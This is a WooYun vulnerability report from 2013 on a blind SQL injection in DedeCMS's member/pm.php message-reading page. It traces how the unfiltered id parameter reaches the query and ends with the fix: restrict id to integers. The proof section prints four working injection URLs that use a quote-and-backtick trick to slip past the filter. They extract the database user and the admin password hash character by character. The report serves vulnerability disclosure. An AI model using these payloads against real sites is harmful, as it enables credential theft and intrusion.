当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043704

漏洞标题:Dedecms 另外一个SQL盲注

相关厂商:Dedecms

漏洞作者: 胸大无脑

提交时间:2013-11-22 14:48

修复时间:2014-02-17 14:49

公开时间:2014-02-17 14:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-22: 细节已通知厂商并且等待厂商处理中
2013-11-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-01-21: 细节向核心白帽子及相关领域专家公开
2014-01-31: 细节向普通白帽子公开
2014-02-10: 细节向实习白帽子公开
2014-02-17: 细节向公众公开

简要描述:

盲注,可获取任意数据,没有上个基于时间的蛋疼,还是有局限性

详细说明:

问题出在ROOT_PATH/member/pm.php的64行

1.png


如图$id变量可控
我们向前看,发现$id没有做任何处理
那么id变量来自哪里呢
第一行require config.php //对应ROOT_PATH/member/config.php

requireconfig.php.png


然后跟

2.png


然后再进去在
ROOT_PATH/include/filter.inc.php

filter.png


里面有获取参数的代码。
一路走下来发现$id变量没有做任何处理

.png


漏洞证明:

首先给自己留个言
访问留言对应的id的url可以看到这条留言
http://127.0.0.1/dede/member/pm.php?dopost=read&id=1

.png


然后注入,获取数据库用户
正确

http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((select user()),1,1) ='r',2,1)) -- -@`'`


1.png


错误

http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((select user()),1,1) ='X',2,1)) -- -@`'`


1.png


获取admin密码
正确

http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((SELECT pwd from dede_admin),1,1) ='f',2,1)) -- -@`'`


2.png


错误

http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((SELECT pwd from dede_admin),1,1) ='X',2,1)) -- -@`'`


2.png

修复方案:

限制id为整数

版权声明:转载请注明来源 胸大无脑@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-02-17 14:49

厂商回复:

最新状态:

暂无